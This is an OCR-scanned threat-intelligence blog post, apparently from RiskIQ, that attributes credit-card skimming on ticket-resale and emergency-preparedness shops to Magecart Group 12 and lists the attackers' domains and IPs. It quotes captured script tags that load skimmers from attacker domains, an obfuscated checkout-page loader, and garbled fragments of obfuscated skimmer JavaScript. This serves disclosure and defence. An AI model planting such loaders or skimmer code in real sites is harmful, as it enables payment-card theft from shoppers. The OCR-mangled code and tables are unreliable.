Magecart Group 12’s Latest: Actors Behind Cyberattacks
on Olympics Ticket Re-sellers Deftly Swapped Domains
to Continue Campaign
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A recent blog_post by Jacob Pimental and Max Kersten highlighted Magecart activity
targeting ticket re-selling websites for the 2020 Olympics and EUFA Euro 2020,
olympictickets2020.com and eurotickets2020.com respectively. These sites were
compromised by a skimmer using the domain opendoorcdn.com for data exfiltration. With
RisklQ data, our researchers built on the previous reporting to identify more skimming
domains used by the attackers, as well as additional compromised sites. RisklQ can also
now attribute all these cyberattacks to Magecart Group 12.

The obfuscation and skimming code we observed on opendoorcdn.com matches that used
by Magecart Group 12, whose skimmer and obfuscation techniques we analyzed in our blog
posts, "New Year, Same Magecart: The Continuation of Web-based Supply Chain Attacks"
and "Magento Attack: All Payment Platforms are Targets for Magecart Attacks." However,
there are differences in the techniques employed by Group 12 in these more recent
compromises, which we'll break down here.
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https://www.riskiq.com/blog/labs/magecart-group-12-olympics/
https://www.goggleheadedhacker.com/blog/post/14
https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/
https://www.riskiq.com/blog/labs/magecart-adverline/%22%20target=
https://www.riskiq.com/blog/labs/magecart-beyond-magento/

In those blog posts, we noted that Group 12 employed base64 encoded checks against the
URL looking for the word "checkout" to identify the proper page on which to load their
skimmer code. This encoding masked both the check itself and the skimmer URL. Quoting
from our May 1st, 2019 report:

"Most of Group 12's injections occur with a pre-filter on the page—a small snippet of
JavaScript that checks to see if they want to inject their skimmer on the page. Here's what it
looks like:"

& Response Body

<gcript>if( location.href.search(atob('¥2h'+'1¥2tvdiQ=")) I= =1 ){var q =
document.createElement (| 'sc’'+ 'ript' )jg.8re =
atob('aHROcH'+ 'MELyJi¥¥R'+"ia'+ "WSnlm'+ 'NvbS9 "'+ 'qgcydi¥ '+ " ¥QubWlulmpz ' ) ; document . head . appendChild(q); }</script3
<script type="text/javascript'>

S{function ()

/* §(".widowwall®).colorbox({iframe:true, innerWidth:425, innerHeight:100}); =/

H
</seript>
</ head>
<body class="checkout-cart™>
<div class="header-wrap®>
<header>

<div class="row">

<div class="col-sm-6">

<div class="col-sm=-6">

<div id="search" class="input-group"> @
<input type="text" name="sgsearch” value="" placeholder="Search” class="form-control input-lg* />
<gpan class="input-group-btn"> RI SK'Q

<button type="button" class="btn btn-default btn-lg"><i class="fa fa-search®"></i></button>

Magecart Group 12's script tag from RisklQ's May report

However, in these more recent cyberattacks, the skimming JavaScript is loaded without
obfuscation or URL checks. Instead, the script loads via a variable the attackers named
‘eventsListenerPool,’ which is an alias for document.createElement('script'):

& Document Object Model

<script src="https://www.clickcease.com/monitor/cc-recorder.js"/>

<script async="" src="//opendoorcdn.com/setting/min.min.js"/>

<stvle id="fit-vids-stvle">.fluid-width-video-wrapper{width:100%:¢
The Magecart skimmer

-

<gcript>var eventsListenerPool = document.createElement('script');
eventsListenerPool.async = true;

eventsListenerPool.src = '//opendoorcdn.com/setting/min.min.js";
document.getElementsByTagName( 'head')[0].appendChild(eventsListenerPool);</script></body>
</html>

The variable loading the skimmer

Next Domain Up
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On February 3rd, Pimental and Kersten published their followup blog detailing their efforts to
identify further opendoorcdn.com victims and have the skimming domain taken down by the
Chinese company through which it was registered. On February 2nd, RisklQ observed that
opendoorcdn.com was replaced on at least two of the victim sites named in the blog by a live
skimmer domain, toplevelstatic.com:

Page https://www.titanssports.com.br/natacao

Status Messages (3) Dependent Requests (306) Cookies (11) Links (189)

& Document Object Model

<script async="" src="//toplevelstatic.com/setting/min.min.js"/>
</head>
<body class=" catalcg category—v;ew grld—fluld categorypath natacac cateqor*

The new sklmmer domaln

Page https://storefrontcdn.com/scripts/1.1/general.js

Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (1)

& Response Body

(function iyEZ(){;;ndB="0a0wiwlwlwlwlwlwlwiwliwiwlw2ul9322r382x33320w2w2wl4382t3c"+"38153f Da0wiwlwlwlwlw
var DDT="alg2b2k3clklh23302p2kiclklklm2g2ki”;;

var mn5 = document[""+(82>347"\x63":"\x5e" )+"r"+"eateEleme"+5tring. fromCharCode(110)+"t")( "div");;
ZtK="2w2pi72wiwlpliwlclnladwiwlwiwl, wOwOwOwWOwOwOwOwOwlwiwlw2u"+"33360wld3a2p36iw2xiwl piwlclnOw2xOwlolw
laZr2"+"w2p361lv332s2t1tiBl42x151n0alwiwiwiwiwiwiwiwlwliwdw" ; ;

gd2="daa7bgdB8ub6Tukldk9akvBE-144";;

1HQ=" 0wiwiWwiwiwiwlwlwlw2w2p3 7 2wiwlp0w2w" +" 2p372wiwl 2 0w2w2p3 72wlnlalwiwiwiwlwiwlwiwlwiwlwiwiwliwiwlw3hoal
a2pi60”"+"w2q3ii2sidlpib2x3i22siiiblazxid2ila”;;

jwB="38332b38362x322v14151a362t 343. 02p2r2tl141b2j2m2pl93el”+"£192i1c19112k190y21171b2v1B80y0y151nlalwiw
nVE="z3alkl142j2k3b2k282k192117150y1b2v152j1, c211a362t34302p2r2t140y2s2p2plj2q3"+"5281k391i1j392z1d2s2z
2rlp2r3"+“62r1a3T392q373336141c132r352rla302t322v33Zwl91d151n0nﬂw0w”+"DwUWOWUHﬂWDWGEZqBSZs3d192w2w142q3
owWs=" 4Dy232p2p1]2q35231k39111]JSZZleEZ2112p223nlk0y172r362r180y232p2p132q35251k3 +"91i13j392z1d2s22112p
ndB=[n4B, 5tK, 1NQ, jwB,nVE,OWS] [ " "+""+(79>142"\x6a":"\x65")+"oin"] (".");

nid=" lclpl4ldlllalc1?0y2m2k3tlk1k2u1v162k3c111cluld252k3 +" clk1d3f1x2w3q2k3c1klf2e0y2]ﬂy2r2w2p36 +"1v33
hxB="0w241d3e14372£302t2r383336150w3f, Ow3a2pi60w342p362p31370wlplyly2jl41"+"dlelalcl7iylg2kiclklel3a2il
SmB="141glalc170y231e1i33110y240y302t322v382w0y2"+"1161115 1521140y222g233c2v27351u2d3a0y180y0yl51n3a2p
mn5["inne"+({61>432"\x72":"\x69" )+"HT"+""+5tring.fromCharCode(77)+"L" ]+=[n4B,nZd, hxB,SmB]["j"+"oi"+5trin

New skimmer domain

RisklQ has observed the toplevelstatic.com domain on three victim sites so far, all of which
were previously compromised by opendoorcdn.com, as seen through our host pairs data set
in RisklQ Community:
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https://www.goggleheadedhacker.com/blog/post/15
https://community.riskiq.com/home

ko Q opendoorcdn.com

mns-on-14 Web Commerce Co.

e Cabegorize
000-01-28 Wholsprotection.cc
ar 2 17 4 o E L} "w L ] L L]
Resalutians Witoes Certificates Subdomaing Trackers Camponents Host Pairs OSINT Hashes DNE Projects Cookdey
HOST PAIRS @
1-Bafg ¥ Sort : Last Seen Descending * 25/ Page
Parent Hostname Child Hostname First LLast Cause
W titanssports.com. br opendocrcdn.com 2020-01-11 2030-02-02 SOripLsne
| C20-01-2 2030-01-21 =gt
t | 020 2000-01-31 t
ctfaceba.., 1
coomau 1 v CdNRSpOME. com opendocrcdn.com 20181127 20181130 BTIpLErT
loorcdne.. 1 ! 20191128 2019-11-28 stript
AnNNEpOT 1
opendoorcdn.com 20191128 2019-11-28 SripL.src
puimepac 1
pendocredn.com 2018-11-28 2019-11-28 SPLERC

Victims of original skimmer domain

Q, toplevelstatic.com

24 Erainit Intemational .
12065 REDACTED FOR PRIV

O Caegorire

i i 3 i L] i 3 L] ] & L] L}
Rexolutsons Whaots Certificates Subsdomains Trackers Components Host Pairs OSINT Hathes DS Projecis Cookies
T PAIRS ©

1.3cd3 v Sort: Last Seen Descending * 25/ Page *

Parent Hostname Child Hostname First Last Cauve Tags
2020-02-02 2020-02-04 SLTIp. ST

W, Et A Eponts. comb toplevelitatic.com J020-02-02 202002403 SETipt S m
WA EJVif . topleveistat IOF0-02-03 HO0-02-03 SCAIQ. S

Victims of new skimmer domain

The domain toplevelstatic.com was registered on February 1st, 2020, through Chinese
registrar Guangzhou Shidaihulian (now.cn) and uses the same DNS provider as
opendoorcdn.com, DNSPod (also based in China). Both domains are hosted on NGINX
servers and use Let's Encrypt certs. The IPs connected to toplevelstatic.com have changed
at least once a day and sometimes more often, with each server, so far, based in Russia.
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https://community.riskiq.com/search/opendoorcdn.com
https://community.riskiq.com/search/toplevelstatic.com

Q toplevelstatic.com
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Resolutions

RESOLUTIONS O

o v 1-100f10 ¥
10 Resolve
2 46.29.164.54
L 2
176.107.160.153
1
45,143.138.40
91,215.169.43
2 45,140,168.169
t 2
194.147_34.175
1
821463
28 2 45,143.138.14
202 176.107.160.87
2 2

1-100f10 »

Whais Certificates

1 o

Subdomains Trackers

Sort : Last Seen Descending * 25/ Page v

Location

RU

RU

RU

RU

RU

RU

RU

RU

RU

RU

Resolutions for toplevelstatic.com

Network

46.29.164.0/24

176.107.160.0/24

45.143.136.0/22

91.215.168.0/22

45.140.168.0/23

164,147 34.0/24

B2.145.34 /23

45.143.136.0/22

176.107.160.0/24

91.215.168.0/22

3

Components Host Pairs

51659

49063

47196

43693

51659

51659

29182

47196

43063

49693

First

2020-02-04

2020-02-05

2020-02-04

2020-02-03

2020-02-03

2020-02-02

2020-02-02

2020-02-02

2020-02-01

2020-02-01

o

OSINT

Last

2020-02-05

2020-02-05

2020-02-04

20:20-02-04

2020-02-04

2020-02-03

2020-02-02

2020-02-02

2020-02-01

2020-02-01

] L] a

Hashes DS Projects

Source

riskig, pinghy

pingly

riskig

riskiq, kaspersky

riskig, kaspersky

riskig

riskig

riskig

nsqu

riskig

Hosting for opendoorcdn.com followed a more leisurely pace of flux. From January 2019
through January 2020, it sometimes used the same IP for weeks at a time and utilized
servers based all over the world.
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a

riskig.com

Q opendoorcdn.com ©
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na.. 28
me. 5
rk-.. 3
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1
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Web Commerce Co...
© categorize
Wholsprotection.cc

42 2 17 4 0 2 8 10

Resolutions Whois Certificates Subdomains Trackers Components Host Pairs OSINT

RESOLUTIONS O

v 1-250fd42 ¥ »  Sort:LastSeen Descending ¥  25/Page ¥

Resolve Location Network ASN First Last Source
188.246.229.211 RU 188.246.229.0/24 49505 2020-01-15 2020-01-28 riskiq
199.59.242.150 us 199.59.242.0/24 395082 2020-01-14 2020-01-15 riskig
161.117.189.60 5G 161.117.128.0M17 45102 2020-01-12 2020-01-14 riskiq
161.117.229.125 5G 161.117.128.0M17 45102 2020-01-10 2020-01-11 riskig
124.156.216.20 P 124.156.208.0/20 132203 2019-12-15 2020-01-10 riskiq
47.254.233.8 MY 47.254.224.0M19 45102 2019-12-08 2019-12-13 riskiq
34.77.160.68 us 34.76.0.0/14 15169 2019-10-21 2019-12-07 riskig
45,76.85.165 DE 45.76.80.0/20 20473 2019-09-10 2019-10-22 riskig, kaspersk
129.226.123.164 5G 129.226.112.0/20 132203 20191019 2019-10-20 riskig
8.208.24.221 GB 8.208.0.0M19 45102 20159-10-18 2019-10-19 riskig
150.109.105.215 HK 150.109.104.0/23 132203 201910411 2019-10-18 riskig, kaspersk
47.252.15.2 us 47.252.0.0/18 45102 2019-09-02 2019-09-09 riskig, kaspersk
47.254.174.17 DE 47.254.160.0/19 45102 2015-08-25 2019-09-01 riskig, kaspersk
35.234.128.225 us 35.232.0.0/14 15169 2019-07-29 2019-08-24 riskiq, kaspersk

Resolutions for opendoorcdn.com

Targets Beyond Sporting Event Ticket Re-selling

RisklQ's detection logic allowed us to identify additional domains hosting this particular
magecart skimmer. Two popular emergency preparedness sites, beprepared.com and
augasonfarms.com, were affected by one of these additional skimmer domains.
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FREE SHIPPING ON ORDERS OVER $200 MY ACCOUN

HOME EMERGENCY FOOD SUPPLY ~ FOOD STORAGE ~ SUPPLIES ~ SALE ~

Strawberry Slices,
Turkey Feast,
ol ©© and 11 other

P

TURKEY select items.

Up oo/ 4
10 OFF

While Supplies Last. On select items only. Sale ends 2/7/2020

One of the new victims with an Alexa ranking of 105,288

Both sites are owned by Blue Chip Group Manufacturing and appear to be similarly
constructed. We observed augasonfarms.com loading skimming code from
storefrontcdn.com on January 27th. The beprepared.com site seems to have been loading
the skimming code from January 16th through 29th. In these instances, the skimmer was

added through a simple script tag.
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Q. storefrontcdn.com

0112 NameCheap, Inc ° =
Categorize

02-05 WholsGuard, inc

Resolutions ‘Whais Certificates Subdomains Trackers Components Host Pairs OSINT Mathes DNS Projects Coolies

HOST PAIRS @

- 1-5pf5 % Sort | Last Seen Descending ¥ X5/ Page ¥
Parent Hostname Child Hostname First Last Cause
Www beprenared.com storefronbedn.com FO20-01-16 2020:01-29 seriptsre
www_asugasonfarms. com storefromtodn.com FO0-00-37 0200027 seriptsre

Host pairs showing sites loading storefrontcdn.com

Page https://www.beprepared.com/year-supply-of-grains-le;

Status Messages (26) Dependent Requests (747) Cookies (21) Links (319) Headers SSL

& Document Object Model

<aEript arc="https:!fatorefrontcdn.Eémlacripts!l.1!genera1.ja“!>
<gspan>Note: This is not a retail store. All Emergency Essentials proc
</li>

Magecart script on beprepared.com

Page https://storefrontcdn.com/scripts/1.1/general.js

Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (1)

& Response Body

(function iyZ(){;;ndB="0a0wiwiwiwiwiwOwiwlwiwiwiw2u39322rig2x33320w2w2wldig2tic"+"38153f DalwiwOwliwiwlw
var DDT="alg2b2k3clklh23302p2k3clklklm2g2ki”;;

var mn5 = document[”"+(82>347"\x63":"\x5e" )+"r"+"eateEleme”"+String.fromCharCode(110)+"t"]("div");;
ZtK="2w2p372wiwlpliwleclnlalwiwlwiwld, wiwlwiwlwlwlwiwlwlwiwlwZu"+"33360wld43aZpl6iwixiwl pOwlclnOw2xOwlolw
laZr2"+"w2p36lvii2s2t1tiBld2x151ln0alwiwldwlwlwilwlwiwlwlwiw"; ;

gd2="daaTbqgdBubTukldk%akvE-144";;

IHQ=" 0wiwiwiwlwiwiwlwlw2wZp3 7 2wiwlpiw2w"+" 2p372wiwl 2 0w2w2p3 7 2wlnlalwlwiwiwiwiwlwiwlwiwlwiwiwliwiwliw3hoal
aZ2p360"+"w2qg3ii2s3idlp3b2x322s333blaZx3id2ila";;

jwB="38332b38362x322v14151a362t 343. 02p2r2tl41b2j2m2pl93el”+"t192i1c19112k190y21171b2v1B0y0y151ln0adwlw
nVE="z3alkl42j2k3b2k2s82k192117150y1lb2v152jl1, c2lla362t34302p2r2tldly2s2p2plj2qi”"+"5281k391i1j392z1d2s2z
2rlp2ri"+"62rla37392g373836141c182r362rla302t322vig2wl91dl51n0adwiw”+" Owlwiwlwlwiw092g33283dlp2wawld2g3
OWS="40y2s2p2pli2q35251k391i1j392z1d2s2z112p2z3alk0y172r362rl80y2s2p2plj2q352s1k3”"+"91i1§392z1d2s2z112p
n4B=[n4B,2tK,1NQ, jwB,nVE,OWS ) [ ""+""+(79>1472"\x6a": "\x65" )+ "oin" | (".");;
nZd="1lclpldldlllalcl70y2m2kiclklk2ulvlé2kiclilclold252k3 "+ "clkldiflx2wig2kiclklf2ely2j0y2r2w2p36"+"1vi3
hxB="0w241d3e14372£302t2r383336150w3f, O0w3laZpl60w3d2pl62pll3T0wlply0y2jl4l"+"dlelalel70ylg2kiclklela2ild
SmB="141glale170y231e1i33110y2§0y302£322v382w0y2"+"1161115 1521140y2229233c2v27351u2d3a0y180y0y151nia2p
mnS["inne"+(61>437"\xT72":"\x69" )+ "HT"+" "+5tring. fromCharCode(77)+"L" ]+=[nd4B,nZd ,hxB,SmB]["j"+"0oi"+5trin

Magecart script on beprepared.com

It appears the injections have been removed from sites, and they are currently free of
skimming code. Additional IOCs can be viewed in our Magecart Group 12 project here:
https://community.riskiq.com/projects/b959cb28-d99c-b27b-bfd8-ae15d60a7e1b

Safety in the Age of Magecart

The activity seen here demonstrates that magecart is a persistent and resilient threat. Given
the lucrative nature of card skimming, Magecart attacks will continue to evolve and surprise
security researchers with new capabilities. They're learning from past cyberattacks to stay
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https://community.riskiq.com/projects/b959cb28-d99c-b27b-bfd8-ae15d60a7e1b

one step ahead, so it's on us to do the same. Make sure you're staying up to date by reading
all our findings on Magecart and stay tuned as we continue to shine a light on new
developments. Also, find out how RisklQ protects customers by reading_up on our JavaScript
Threats Module here.

*Update:

Following the publication of this article, we noticed further detections showing that
beprepared.com was also loading skimming code from wappallyzer.com, another Group 12
domain. Our data shows that this began on January 24th. We have communicated this to the
affected company and are working with them to remediate.

Subscribe to Our Newsletter

Subscribe to the RisklQ newsletter to stay up-to-date on our latest content, headlines,
research, events, and more.

Base Editor
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